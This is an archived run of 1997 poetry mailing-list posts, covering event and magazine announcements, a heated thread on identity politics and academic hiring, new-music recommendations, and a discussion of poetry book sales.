> (8.7.x for naga.mailbase.ac.uk) with SMTP; Tue, 11 Mar 1997 09:10:09 GMT
>Received: from venus.dur.ac.uk by hermes.dur.ac.uk id
<[redacted]>
> (8.6.12/ for dur.ac.uk) with SMTP; Tue, 11 Mar 1997 08:41:04 GMT
>Received: from vega by venus.dur.ac.uk id <[redacted]>; Tue,
11 Mar 1997 08:41:02 GMT

>Date: Tue, 11 Mar 1997 08:41:01 +0000 (GMT)
>From: R I Caddel <[redacted]>
>To: british n irish poets <[redacted]>
>Subject: CCCP
>Message-ID: <[redacted]>
>MIME-Version: 1.0
>Content-Type: TEXT/PLAIN; charset=US-ASCII
>X-List: [redacted]
>X-Unsub: To leave, send text 'leave british-poets'
> to [redacted]
>Reply-To: R I Caddel <[redacted]>
>Sender: [redacted]
>Precedence: list
>
>Message from Peter Riley says, Can you put this out on your list thingy,
>as we're a bit late with publicity this year...
>
>C.C.C.P.
>
>The seventh annual Cambridge Conference of Contemporary Poetry will take
>place Friday to Sunday April 25th-27th at Kings Colleg Cambridge. For very
>particular reasons the event this year will emphasise non-British poetry,
>with poets from Australia (John Tranter, Tracy Ryan), Canada (Karen Mac
>Cormack, Deanna Ferguson), France (Dominique Grandmont and Emmanuel
>Hocquard), Belgium (Pierre-Yves Soucy), Sweden (Staffan Soderblum). Also
>Fiona Templeton, David Chaloner, Grace Lake.
>
>Bookings and information: Ian Patterson, Kings College Cambridge.
>tel. 01223 576422
>
>Information: Peter Riley, 27 Sturton Street, Cambridge. tel. 01223 576422
>
>
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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256. **Mark Roberts**

(Fwd) AWOL: New magazines in the bookshop

Tue 11 Mar 1997

>Date: Wed, 12 Mar 1997 07:20:00 +1000
>To: [redacted]
>From: [redacted] (AWOL)
>Subject: AWOL: New magazines in the bookshop
>
>New Magazine Releases from the AWOL Virtual Bookshop
>
>
>It can be difficult keeping up with the latest issue of your favourite
>magazine. Now you can order them through AWOL. Here are the latest
>magazines available through our online bookshop (for a wider range of
>magazines and titles visit or Virtual Small press bookshop at
>http:www.ozemail.com.au/~awol/ if you can't find the title you want email
>us and we will see what we can do)
>
>
>
>SALT 8 (ISSN 1035-204X) Featuring work by John
>Ashbery, Charles Bernstein, MTC Cronin, Andrew Duncan, John Forbes, Alison
>Georgeson, Denis Haskel, Coral Hul, Helene Jaccomard, Urs Jaeggi, Kate
>Jarman, Wendy Jenkins, SK Kelen, John Kinsella, Carolyn Kizer, August
>Kleinzahler, Grace Lake, Rod Mengham, Les Murray, Glen Phillips, Peter
>Porter, Ron Pretty, Peter Riley, Mark Reid, Tracy Ryan, Susan M Schultz,
>Ron Shapiro, Ron Silliman, Simon Smith, Nicolette Stasko & John
>Tranter.
>$10.00
>
>
>AEDON 4.1 (ISSN 1039-8007) Aedon: The Melbourne University Literary Arts
>Review 4.1 contains fiction by Saskia Beudel, Scott Brook, Paul Magee,
>Mischa Merz, James Hawthorne. Karen Burns, SJRR & Richard King; Poetry
>by Deborah Staines, Gig Ryan, Julie Hunt, Kevin Murray, Kathryn Hoffman,
>John Forbes, Jordi Albiston & Emma Driver. Interviews with Elizabeth
>Grosz and McKenzie Wark. Articles include Meaghan Morris on 'Beyond
>Assimilation: Aboriginality, Media History and Public Memory, Peter Phipps

>on 'Watching Clifford watching Leiris watching himself fall aprt:undoing
>anthropology in reply to Klaus Neumann, Christopher Ziguras on 'Paying your
>respects to someone else's elders: the western appropriation of Asian and
>Indigenous religious discourses', Helene Gronda on 'Why are we watching the
>news again mum?: Walter Benjamin, Television and Experience', &; Phil
>McCluskey on 'Cold Diffusion'. Reviews include Daniel Ross on Siegfried
>Kracauer The Mass Ornament: Weimar Essays, Andrew Smith on Melbourne
>graffiti, Dom Pettman on Independence Day Megan Grant on Elspeth Probyn
>Outside Belongs. Plus graphics by Louise Forthun, Bridget Kearney, Paul
>Dash, Saffron Newey, Jane Brown, Felicity Marks, Joelle Baudet, Alex
>Stamboultgis & Greg Defteros.
>$10.00
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>
>Overland 145 Poetry by Bruce Dawe, john malone, Marguerite Varday, Emma
>Lew, Michael Crane, Libby Robin, Phil Ilton, Clive Faust, Graham Rowlands,
>Jean Thorton & Kieran Carrol. Anthony Weare on Port Arthur, Brian
>Matthews on the Millennium, Julie Lewis on Mary Martin's Bookshop. Plus
>fiction, the usual high quality OVERLAND reviews and much much more.
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>$5.00 for more than one book
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>together with you payment (don't forget postage) to:
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>Concord NSW 2137
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>Don't forget to include you postal address.
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>AWOL
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>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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257. **Thomas Lecky**
Re: "deeply disturbed"
Tue 11 Mar 1997

Daniel Bouchard wrote:

> *But generalizations are useless since most people signed on don't write anything at all.*

As one who has written very little here, let me whisper a cheer for Marjorie Perloff's last post in the "deeply disturbing" thread. As Joe Amato also intimated, much of what seems to be happening on this list of late stinks of the worst type of judgment, i.e. self-righteousness. Most of the Dorn/"deeply disturbed" discussion has come down to an unfortunate and ill-conceived creation

of binaries: form/content, right/wrong. Marjorie Perloff makes a very apt point: those of us who dissent from "identity politics," or more poetically speaking, from a poetics based only on one's identity (religion, race, gender, etc.) set ourselves up for attack. I can flatly say that Maya Angelou is an incredibly weak poet, on the grounds that her verse is systematic, formulaic, reactionary, sentimental. Am I a racist? As a young member of the list (20s), I've had to choke on these issues throughout my higher education. I left the Stanford graduate program, where Marjorie Perloff teaches, because I knew that if I pursued my chosen field (20th century American poetry, Objectivist, Black Mountain, New York, and Language schools) I (male, white) would greatly restrict the possibilities of employment, i.e. my "identity" did not succeed into the marketplace.

I don't know Dorn, but I respect and admire his poetry. I have no idea if he is a racist or an anti-Semite. I think we had better consider some of the things that are going on in Washington in an administration peppered with absolute base ignorance at best, illegality at worst. I'm not arguing that a discussion of poetry need be political, but when it becomes political it could at least consider larger issues that are critically important to the mechanics of our society, not gossip relating to a poet who, to the larger society, is an unknown.

Yes, I left graduate studies because I saw people (Gil Sorrentino for one) with real convictions about the history and legitimacy of art crushed by the political weight of the academy. Who wants to suffer through it? After all, great art should transcend these things, politics in particular, and become something else. And that "something else" is an irrational commodity.

Thomas Lecky

Thomas Lecky
[redacted]
Qwerty Arts http://www.qwertyarts.com

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258. **amato**
Re: "deeply disturbed"
Tue 11 Mar 1997

---

robert and mark, thanx for your comments... and robert, i'll definitely check out the next notre dame review...

and thanx to backchannel communique, i've been made aware that my example of teaching glosses the sorts of resistance ALL students tend to have to critique of form, and expression... this is true, and this complicates the scenario

pedagogically, illustrating the degree to which i exploit what is in essence a stereotype... i like complications, hence i appreciate the backchannel (thanx!)...

still, i don't think this fact alters the issue substantively, insofar as the sorts of concerns i'm raising... i've been in situations where my critical attitude toward both white and minority literatures has been mistaken to mean that i'm opposed to minority literatures... i've also been in situations where simply stating that i like, say, the work of sharon olds (YES, i do) has been taken to mean that i'm opposed to or dislike the work of less mainstream or less orthodox poets...

wrong on both counts... and mea culpa for those occasions that it's been ME doing the "mistaking"...

fact is we're all, all of us, a product of our various institutions, to varying degrees... and i can't imagine how this could not be the case...

best,

joe

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259. **Steven Marks**

Re: "deeply disturbed"

Tue 11 Mar 1997

Let me make my confession since everybody seems to be owning up to what they admire or read. I find Harold Bloom's notion of agon, or the anxiety of influence, hard to resist. I wouldn't put it in quite the Freudian terms that he does, but I think that much of what we call creativity is born in the "intentional" misreading of what has come before and what is around right now. It is what I sometimes try to do with rhyme. I know it's somewhat ridiculous to write couplets, but I am doing so in one poem primarily because of the sense of absurdity it brings. I see the rhyme scheme as some sort of dilapidated grid that tries to force the poem in certain directions. Furthermore, there is an aleatory element to rhyming that I find intriguing. As I list words to rhyme, I find my poem shoved in directions I never anticipated. And sometimes that I don't even quite understand. But damn, they sound good. At least to me! For anybody interested in seeing this poem, it's called Joist and is at the Web address below. I invite all backchannel comment.

Thanks,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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260. KENT JOHNSON
suspended music
Tue 11 Mar 1997

Just a heartfelt plug for Herb Levy's Periplum CD, Suspended Music. The "long string instrument" is amazing. Totally new.

There used to be a magazine called _Ear_ devoted to new music--is there anything out there comparable?

Kent

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261. David Israel
FFCop's story mambo / SA lit workshops?
Tue 11 Mar 1997

Guyzies
[as quoth Maria D, but can I affect such salutation?] --

from So. Asian Lit. listserv, I patch in, for poss. interest (read: ironist apreech?) a note anent Francis Ford Coppola's entry into the literary periodical biz (though likely not xerographic) -- the gent having resolved to cast his attention at litrachure --

this reminds (anecdotally -- & w/o aspersions as to FFCo in particular) of Meredith Monk's remark some number of years ago, amid efforts to deal w/ funding issues in wake of that exceptional film of hers *Book of Days* (1987), that although she was having a bit of a time recouping expenses, the movie was merely made for the equivalent of "Francis Ford Coppola's pasta budget" (or, peanuts as they say) --

conversely, one assumes the new Zootrope 'zine is now flung into the world at the equivalent of . . . . (? what culinary simile? so-&-so's morel diet, I suppose)

SECONDLY (more particularly), kindly note Prentiss Riddle's inquiry re: So.Asia-focused writing workshops (or any along such lines) -- info re: which could be sent to me (&/or forwarded to Prentiss, or for that matter to Champa Bilwakesh, the original inquirer).

[allowing "workshop" to be oftentimes construed w/o zeal hereabouts, I figure on a level of tolaration]

[the orig. post was responsive, incidentally, to Sasialit group chat w/ Bay Area-based fiction/poetry writer Chitra Bannerjee Divakaruni]

cordial-like,
d.i.

1.8b) with spool id 207255 for [redacted]; Tue, 11
Mar 1997 20:35:49 -0600
(8.7.5/8.7.5) with ESMTP id UAA00361 for
<[redacted]>; Tue, 11 Mar 1997 20:35:47 -0600 (CST)
Tue, 11 Mar 1997 20:34:38 -0600 (CST)
Date: Tue, 11 Mar 1997 20:34:37 -0600
<[redacted]>
From: Prentiss Riddle <[redacted]>
Subject: Re: Writers' workshops
To: Multiple recipients of list SASIALIT <[redacted]>
11, 97 03:19:39 pm

> *From [redacted] Tue Mar 11 14:49:45 1997*
> *Date: Tue, 11 Mar 1997 15:19:39 -0500*
> *From: [redacted]*
> *Subject: Writers' workshops*
>
> *I often see a writers' workshop advertised in Vermont. It sounds heavenly. There are several others in the east coast and northeast. A fellow would-be writer and friend are considering seriously attending one. Anybody attended one of these? Would you share your experience?*

A general catalog of writers' workshops would be beyond the scope of SASIALIT (has anybody found such a catalog online, by the way), but here's one that caught my eye:

Francis Coppola's Zoetrope organization is sponsoring a short story writer's workshop in the mountains of Belize this July 8-15. It sounds like a great junket. Info is available from [redacted].

And I might as well mention where I heard about it. I recently received unsolicited the first issue of a new magazine of short fiction started by Coppola and also named "Zoetrope". It seems to be sort of a vanity project, as Coppola writes in an editorial of the dreariness of reading screenplays and his desire to revive the lost (?) art of the short story. A quick leaf-through of the magazine didn't reveal any stories which grabbed me in particular, but the price is certainly right: subscriptions are free.

If you'd like to receive a sample copy, drop a line to:

Zoetrope Short Stories
126 Fifth Ave. Suite 300
New York, NY 10011-5606

Now, to bring this back to the theme of SASIALIT: are there any writers' workshops specializing in South Asian literature? Or perhaps "postcolonial" literature? Or any good writing programs based in South Asia?

-- Prentiss Riddle ("aprendiz de todo, maestro de nada") [redacted]

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262. **robert drake**
Re: suspended music
Wed 12 Mar 1997

> *Just a heartfelt plug for Herb Levy's Periplum CD, Suspended Music.*
> *The "long string instrument" is amazing. Totally new.*
>
> *There used to be a magazine called _Ear_ devoted to new music--is*
> *there anything out there comparable?*
>
> *Kent*

a heartfelt plug for MusicWorks magazine: 179 Richmod St West, Toronto ONT Canada M5V 1V3... a tremendous resource; when subscribing be sure to shell out the extra $19 for the accompanying CDs...

lbd

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263. **Thomas Bell**
Re: CD Release Party for Deep Listening Band & Long String Instrument
Wed 12 Mar 1997

---

price and availability?

At 11:23 PM 3/10/97 -0800, Herb Levy wrote:
>My new company, Periplum, released it's first CD, Suspended Music by Deep
>Listening Band & Long String Instrument, earlier this year. It's a really
>great CD featuring the combined forces of DLB (Stu Dempster, David Gamper
&
>Pauline Oliveros) & Ellen Fullman's Long String Instrument performing
>recent long works by Pauline Oliveros and Ellen Fullman. Other discs to be
>released this year include the 2nd release by the collaborative group Land
>(Jeff Greinke, Lesli Dalaba, Dennis Rea, et alia); New Songs commissioned

>by David Mahler & Ann Obery from eleven US composers; and recordings of
>interactive computer music by Martin Bartlett, including performances by
>Peter Hannan, George E Lewis, & Frances-Marie Uitti.
>
>We had a great CD party in Austin a couple of weeks ago with Ellen, and
>there are more release parties on the way. Hey, wait, here's some now,
>near where you live:
>
>
>Friday, March 14, 1997 5-7 pm
>
>The Gallery at Deep Listening Space
>74 Broadway
>Kingston, NY 12401
>
>
>Saturday, March 15, 1997 4-7 pm
>
>Roulette
>228 West Broadway
>New York, NY 10013
>
>
>Sorry for this impersonal bulk mail, I hope to get a chance to talk to you
>when I'm in your neck of the woods.
>
>Bests
>
>Herb
>
>
>Herb Levy
>[redacted]
>
>

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264. Jena Osman
Re: "deeply disturbed"
Wed 12 Mar 1997

Dodie Bellamy wrote:
>Joan Retallack offers a wonderful, thoughtful, beautifully written critique
>of identity politics (among other things) in
>":RE:THINING:LITERARY:FEMINISM: (three essays onto shaky grounds)."
>Unfortunately, I just read it from a xerox, so I don't know where it was
>published.

I agree that this is an excellent essay! It is in a book called _Feminist Measures: Soundings in Poetry and Theory_, edited by Lynn Keller and Cristanne Miller. In the essay, Retallack calls for a "use theory" rather than a "picture theory" of identity as communicated through language--a new poetics to accompany new politics. She writes:

"A use theory of meaning, one that locates the making of meaning in a collaborative engagement with interdynamically developing forms (rather than in the interpretation of a fossil signified), allows exploration of the medium of language itself, and thus the invention of new grammars, where subject-object, master-mater relations can never be presupposed, where nothing ever shrinks and stabilizes into an irresversible 'it.' The picture is the prototypical 'it.'...What once flowed in all directions at 'once' is reduced to the servitude of the inanimate. In the picture all has been isolated in space and stopped in time, reflecting not glorious, multifarious (chaotic) reality, but the vanishing point of the photographer's, painter's, or writer's single-point imagination."

If interested, check out the Keller-Miller book--they did a great job of mixing what could be called "conventional" essays with essays that perform their content, and thus test the limits of the genre. Also includes work by Rachel Blau DuPlessis and M. Nourbese Philip, among others.

Jena Osman
[redacted]

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265. Stephen Paul Miller
Re: XEROX REVOLUTION
Wed 12 Mar 1997

Does anyone recall how innovative clean and inexpensive Xerox copy shops were in the seventies? That was part of the premise of THE POETRY MAILING LIST, which I put out with Kenneth Deifik in the mid- seventies. We published a

one page poetry magazine. People were still not used to spotless Xeroxes, and it often seemed like a personal letter.

It had an immediate effect. For instance, when I asked Peter Schjeldahl for a poem, he told me that he had not written one for a long, long time. However, that night he found himself writing DEAR ART OF VERSE, and he sent to me. I Xeroxed it and put it in about 300 hundred envelopes with Ken and out it in the return mail. Peter received many calls from people who thought he had personally sent it to them, which I think he liked.

THE POETRY MAILING LIST created an unobstrusive focus on poetry. Other poets and and artists included John Cage, Jackson MacLow, Lucio Pozzi, Kathy Acker, David Shapiro, Beth Anderson, Jill Kroesen, Joel Oppenheimer, and many others.

Stephen Paul Miller

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266. henry gould
Re: deeply disturbed
Wed 12 Mar 1997

As a deeply-disturbed former card-carrying food coop community organizer political researcher magnum cum laude left worker student activist genre-jumping wigged-out Keseyian busrider acid head, let me just say...

poetry is not writing

it's an elusive element that sometimes appears here and there

even in Maya Angelou

even in Dr. Seuss

"Without hesitation, I'm happy to say
Dr. Seuss trumps us all in this trite centuray."

On politics, identity, and writing in school: two words of advice - get poor.

(translation: read it back to me, quietly, quietly.)

- Henry Gould (Henry's new CD: "Let's talk Money", is available from DC Yaketeeyak Records, The White House, Lincoln Bedroom, Washington, DC. Checks only, please - make them out to Harold Hughes.)

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267. Christopher Alexander
Re: XEROX REVOLUTION
Wed 12 Mar 1997

> Does anyone recall how innovative clean and inexpensive Xerox copy
> shops were in the seventies? That was part of the premise of THE
> POETRY MAILING LIST, which I put out with Kenneth Deifik in the mid-
> seventies. We published a one page poetry magazine. People were
> still not used to spotless Xeroxes, and it often seemed like a
> personal letter.
remember? I'm still taking advantage of that
spotlessness every time I publish a book!

chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

268. Hank Lazer
Re: CD
Wed 12 Mar 1997

Here too a BRAVO for Herb Levy's CD. A beautifully different pace and place of listening.....

Hank Lazer

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269. Mark Wallace
poetry that sells?
Wed 12 Mar 1997

An article in Publisher's Weekly on March 3 called "The Different Faces of Poetry" estimates the sales of some recent books of poetry:

Jorie Graham's THE DREAM OF A UNIFIED FIELD (Ecco Press, 1995), winner of the Pulitzer Prize: 8500 copies sold.

POETRY LIKE BREAD, an anthology of "leftist multicultural writing" (Curbstone Press, 1993): 9000 copies.

Dave Alvin (rock musician formerly of the Blasters, etc), ANY ROUGH TIMES ARE NOW BEHIND YOU (Incommunicado Press, 1995): 5000 copies.

Charles Berstein's DARK CITY (Sun and Moon, 1995): 4000 copies.

Mark Wallace

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270. **amato**
Re: "deeply disturbed"
Wed 12 Mar 1997

---

dear thomas (lecky), i *do* understand your decision to leave stanford (to leave standford... wow!) on the basis of reduced job possibilities...

but please: as a white male het (one having strong sympathies with that olsonian line you mention), i must observe that your problems with the academic job market, or most other job markets for that matter, do not reduce to your identity... statistically speaking, it's other white guyz whom you're losing out to, so to say... much as am i... this much is verifiable...

and you're losing out, too, to a growing tendency to create part admin-part faculty line positions, most with "writing" someplace in the job description... which again is not a function of your, or anybody else's, "identity" per se...

and you're losing out to the continuing, and perhaps growing, practice of hiring adjuncts to teach courses instead of full-time, tenure track faculty...

UNLESS, unless perhaps your field is, say, african-american lit, and you're white?... knowing a few folks who are in this position, job placement is undoubtedly at some level a function of identity politics...

which brings up another point about this thread: i'm finding it difficult as hell to articulate a position which is (please forgive me, marjorie) not exactly marjorie's, but not exactly anti-marjorie's either... not exactly david kellogg's, but not exactly anti-david kellogg's either...

that is, i'm finding it difficult to navigate these waters w/o finding mself in the midst of various binaries, binaries that are themselves a function, in part, of identifying [this or that]... in fact, i take this to be confirmation of the sorts of public tensions raised when one attempts to flush the aesthetic-political tangle...

best,

joe

↑ Index

271. **amato**
Re: FFCop's story mambo / SA lit workshops?
Wed 12 Mar 1997

---

i've read _zoetrope_ mself, and find the idea of coppola getting involved in a literary mag intriguing, what with, e.g., william kennedy on the masthead... i mean, coppola HAS made some great flicks, no?...

i don't necessarily share his desiderata (in that first issue) about the short story, but he claims to be keenly interested in the written word... so what the hell, then --why not?... i mean, for example: in that first issue, they reprint "the wisdom of eve," by mary orr... now this short story was the basis for the film *all about eve*... personally, i love this latter, and i find it fascinating to read the story and imagine its transformation into film...

so as far as i'm concerned, if more hollywood types want to create more fora that add to the flow, that's fine with me... it may well be -- i assume this will be the case, based on this first issue -- that exposure will be limited to more orthodox work, as is generally the case with more mainstream pubs... but again---if the work published is exceptional, why not?... i can't say that it'll 'squeeze out' in any way less orthodox work, given that it seems to be coppola's money behind the mag... but let's wait and see... and to be a bit crass about it (and i'm *not* just being provocative here): if they publish something of mine (i have every intention of submitting short fiction), i'm going to find it really difficult to complain...

best,

joe

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272. **amato**
Re: "deeply disturbed"
Wed 12 Mar 1997

---

oh and yeah, i neglected to write "please forgive me, david" with regard to my last post on this vexed issue... i don't wish to alienate marjorie, OR david... or any of you, for that matter... again, i see *this* list, *this* space as one of the few such spaces around for hashing out such issues...

best,

joe

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273. Charles Alexander

Re: poetry that sells?

Wed 12 Mar 1997

On what are these estimates based? They seem pretty high to me, but perhaps they are accurate?

charles

At 09:28 AM 3/12/97 -0500, you wrote:
> An article in Publisher's Weekly on March 3 called "The Different
>Faces of Poetry" estimates the sales of some recent books of poetry:
>
> Jorie Graham's THE DREAM OF A UNIFIED FIELD (Ecco Press, 1995),
>winner of the Pulitzer Prize: 8500 copies sold.
>
> POETRY LIKE BREAD, an anthology of "leftist multicultural
>writing" (Curbstone Press, 1993): 9000 copies.
>
> Dave Alvin (rock musician formerly of the Blasters, etc), ANY
>ROUGH TIMES ARE NOW BEHIND YOU (Incommunicado Press, 1995): 5000
copies.
>
> Charles Berstein's DARK CITY (Sun and Moon, 1995): 4000 copies.
>
>
>
> Mark Wallace
>
>

Light blue and the same red with purple makes a change. It shows that there
is no mistake. Any pink shows that and
very likely it is reasonable.
Gertrude Stein, from "A Substance In
A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press
[redacted]

↑ Index

274. David Kellogg
Re: "deeply disturbed"
Wed 12 Mar 1997

Joe,

You've put forward some of the most interesting ideas on this whole thread. Very sensitive and thoughtful -- I have learned a lot.

> *which brings up another point about this thread: i'm finding it difficult as hell to articulate a position which is (please forgive me, marjorie) not exactly marjorie's, but not exactly anti-marjorie's either... not exactly david kellogg's, but not exactly anti-david kellogg's either...*

You know, so am I ;-). Actually, however, I think I'd take a position close to yours regarding the job market. Like you, I'm W-M-Het committed to formally challenging poetry. Probably among the twenty-one tenure-track jobs I've come close to getting but didn't, some offers were made where the applicant's gender, race, and/or investment in identity politics were at issue. But so what? I guess what I'm trying to say is that it would be easy -- too easy -- to blame this situation on dominance of identity politics. There are a lot of other factors at stake, including the funding of jobs in general, resistance to contemporary work, resistance to the kind of criticism/sociology/theory that I do (esp. with regard to contemporary poetry), etc.

When Marjorie indirectly suggests that I'm too sympathetic to identity politics, that I've somehow bought into the rhetoric of that whole line of thinking, I want to laugh -- she should sit in on some of my interviews.

With regard to binaries, a crude opposition to identity politics that assigns "it" (whatever "it" is) blame for whatever situtation (my lack of a job, certain poets' exclusion from the Norton or some other standard anthology) -- in their binary opposition, both submit to a zero-sum-game view of poetic value. If my poet's in, somebody else has got to leave. There ain't room in this town . . .

Can't we get beyond that?

Cheers,
David
~~~
~~~

There is no mantle
and it does not descend.
--Thomas Kinsella

↑ Index

275. William Burmeister Prod
Re: poetry that sells?
Wed 12 Mar 1997

The Poets & Writers zine out on the bookstore shelves now has article on the popularity of poetry. Haven't read it yet, but is probably the official verse culture business as usual (Dana Goia is still worried about a downward trend).

Bill B.

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276. Joel Felix
Re: suspended music/ EMF.ORG
Wed 12 Mar 1997

> *There used to be a magazine called _Ear_ devoted to new music--is there anything out there comparable?*
>
> *Kent*

Hello, snagging this from the fluxlist. Not to imply that only the electronic is new of course.

jfelix

> *ELECTRONIC MUSIC FOUNDATION*
> *==========*
> *UPDATE*
>
> *Contents:*
>
> *1. Check The EMF Worldwide Calendar*
> *2. Major offerings from CDeMUSIC: CRI and Tellus*
> *3. A historical note*
> *4. A few words from our sponsors*
> *5. Become a Subscriber*
> *6. Information available by email*
> *7. On or off this list*
>
> *==========*
> *1. Check The EMF Worldwide Calendar*
>
> *There's an important need for a single place where an electronic musician*

or listener can find out what's going on in the world, including concerts and festivals, extraordinary web sites, reports on events, news of people on the road, job opportunities, product announcements, calls for materials, and other items of interest. Some sites and email lists give a partial view responding to specific interests. Our goal for The EMF Worldwide Calendar is to give an overview of the global scene.

The List of Events aims at being comprehensive, with pointers to sources for further information.

http://www.emf.org/cal_eventlist.html

The 'Don't Miss These Events' page focuses your attention on important, unusual, and/or sponsored events. This week, you'll read about the Interpretations Series, the Henry Cowell festival, and other events in New York. You'll find out about the Son-Mu series and IRCAM's presentation of Manoury's new opera in Paris. You'll find out about a theremin festival in Maine in June, not to mention other summer events in New Mexico, France, and everywhere else. And you'll get a glimpse of the fall in Chicago, Thessaloniki, Seoul, New York, and Karlsruhe.

http://www.emf.org/cal_exceptional.html

From our correspondents far and wide, there's news about genetic models for art and mysterious happenings in the Malaysian jungle. There are many many calls for submissions on the Bulletin Board, for festivals, contests, conferences, and publishing. And there's some hot news from our sponsors. E-mu Systems, for example, announces 37 (!) new job openings. Find every calendar item from

http://www.emf.org/cal_frontdoor.html

==========
2. Major offerings from CDeMUSIC: CRI and Tellus

The CRI catalog is in the CDeMUSIC spotlight! Just as a sample, there's a historic recording of women in electronic music in 1977, with music by Johanna Beyer, Annea Lockwood, Pauline Oliveros, Laurie Spiegel, Megan Roberts, Ruth Anderson, and Laurie Anderson. There's Harry Partch's 'The Bewitched'. There's Alvin Curran's 'Schtyx', lyrical, explosive, moving. Lou Harrison's music, some of it with gamelan, some of it for string quartet, is classic. Maro Ajemian's recording of John Cage's 'Sonatas and Interludes for Prepared Piano', as played by in Cage's 1958 retrospective, was the first. There's Morton Feldman, Jerry Hunt, Otto Luening, and more more more. Look at the catalog.

http://www.emf.org/cdcat_cri.html

And take advantage of the Tellus cassette blowout! We're offering 11 Tellus cassettes, with historical text sound compositions, soundart, microcomputer music, Fluxus music, and more, for $5 each.

http://www.emf.org/cdcat_telluscassettes.html

Here's some advice. Don't wait to buy! If you see a CD you want, get it right away, while it's available. We've seen many CDs become unavailable, some temporarily, some forever. To get an overview of all of the fabulous music that's available now, start at the CDeMUSIC home page, browse through the List of Catalogs, look through the Alphabetical List by Composer.

http://www.emf.org/cde_frontdoor.html

Starting in mid-May, we're planning to start a CDHotline as a one-time per month email update, dealing with new releases, recommended compact discs, listener's comments, brief CD reviews, and other items of interest. If you're interested in receiving this, send us a message. Say, "Yes to CDHotline." It's free.

==========
3. A historical note

In the early 1960s, James Beauchamp designed the Harmonic Tone Generator, actually the first additive-synthesis synthesizer at the University of Illinois. He presented a paper on it at the AES Convention in October 1964 in New York, during the same session that Robert Moog gave his talk on voltage-controlled modules. Among the composers that used it were Herbert Brun, Lejaren Hiller, Salvatore Martirano, and Kenneth Gaburo. See the photos on our home page.

http://www.emf.org

==========
4. A few words from our sponsors

One of our most important goals is to provide access to materials. So look at our list of sponsors and follow the links to find out about the most forward-looking companies in the world.

http://www.emf.org/emf_sponsors.html

Some announcements: Big Briar announces that the Series 91 theremins will soon be unavailable. E-mu Systems announces 37 new job opportunities. Link to them from the calendar.

http://www.emf.org/cal_frontdoor.html

Note that we've just opened a Big Briar department in The EMF Store, the better to bring you theremins. Link to it from The EMF Store.

http://www.emf.org/store_frontdoor.html

We'll open other stores soon, with spectacular discounts for Subscribers.

==========
5. Become a Subscriber

As CDeMUSIC expands, as offerings increase in The EMF Store, and as The EMF Calendar reaches more and more people, you may be interested in becoming a Subscriber. There are both professional and consumer benefits, and you may find that your small one-time subscription fee may indeed come back to you manyfold and quickly. See our invitation.

http://www.emf.org/emf_invitation.html

If you can't access the web page, email us and ask for Subscriber information.

==========
6. Information available by email

If you don't have easy access to the web and you'd like to receive catalogs, product notices, or other information as email, just send an email message to [redacted] *and tell us what you'd like. We'll do our best to comply.*

The 'Pioneers of Electronic Music' catalog, which represents EMF's basic mission, is continually updated and always available by email, as is 'The EMF Store' catalog.

==========
7. On or off this list

We are sending this update to you either because you're already on our list or because we believe you'll be interested in the information we provide. We send an update like this one around the 5th of every month and an email calendar around the 20th of every month. Every now and then, you'll receive an updated catalog or an alert with a particular important message.

If there is any type of message you don't want to receive, just send us a message and say, for example, "I don't want to receive the catalogs," or "I don't want to receive the calendar." If you would rather not receive anything from us, just say, "Please take me off your list."

If this has been forwarded to you by someone else and you would like to receive these notices directly, just send an email message to [redacted]

> *and say something like "Put me on your list" and we'll put you on our list.*
>
> *==========*
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> *X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X*
> *Joseph Nechvatal, Paris, France, Europa*
> *http://www.cybertheque.fr/galerie/jnech*
> *X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X*

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277. **Maria Damon**
Re: "deeply disturbed"
Wed 12 Mar 1997

dkellog rites:

> I guess what I'm trying to say is that it would be easy
> >-- too easy -- to blame this situation on dominance of identity politics.
> >There are a lot of other factors at stake, including the funding of jobs in
> >general, resistance to contemporary work, resistance to the kind of
> >criticism/sociology/theory that I do (esp. with regard to contemporary
> >poetry), etc.

i've been staying out of this one cuz it seemed like same old same old, but i feel the need to ask: were identity politics *not* a part of what kept women/folks of color *out* of the job market for so many years? did we invent identity politics? have they not always been a part of determining who gets what? why is it only a "problem" when normative identity's (ie.e straight white male etc) normativity is called into question? and for that

matter, why have "identity politics" suddenly become such anathema, as if they were essentialist in nature? compare income levels, education levels, life opportunity levels of people of different "identities" and it seems that there might actually be a need to talk about it.
>
>When Marjorie indirectly suggests that I'm too sympathetic to identity
>politics, that I've somehow bought into the rhetoric of that whole line of
>thinking, I want to laugh -- she should sit in on some of my interviews.

david i don't see any reason why you should apologize for noticing that there is social stratification in this country based on certain demographic factors, and for thinking it might be not okay. i *do* see a problem with people's knee jerk reaction to attempts to talk about politics on this list.
>

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278. **Michael Coffey**
Re: poetry that sells? -Reply
Wed 12 Mar 1997

>>> Charles Alexander <[redacted]> 03/12/97 10:35am >>>
On what are these estimates based? They seem pretty high to me, but perhaps they are accurate?

Charles, et al. The figures in Pw about sales of some poetry books were given to us by the publishers, i believe, though douglas messerli could probably say if that isn't so.

What follows is the Publishers Weekly article itself, not quite a final version i believe... it appeared in March 3 issue. And thanks to some of the listfolk who got involved in a discussion with me prior to the writing of this piece; it was written by a woman named Mallay Charters, and I assigned and edited.

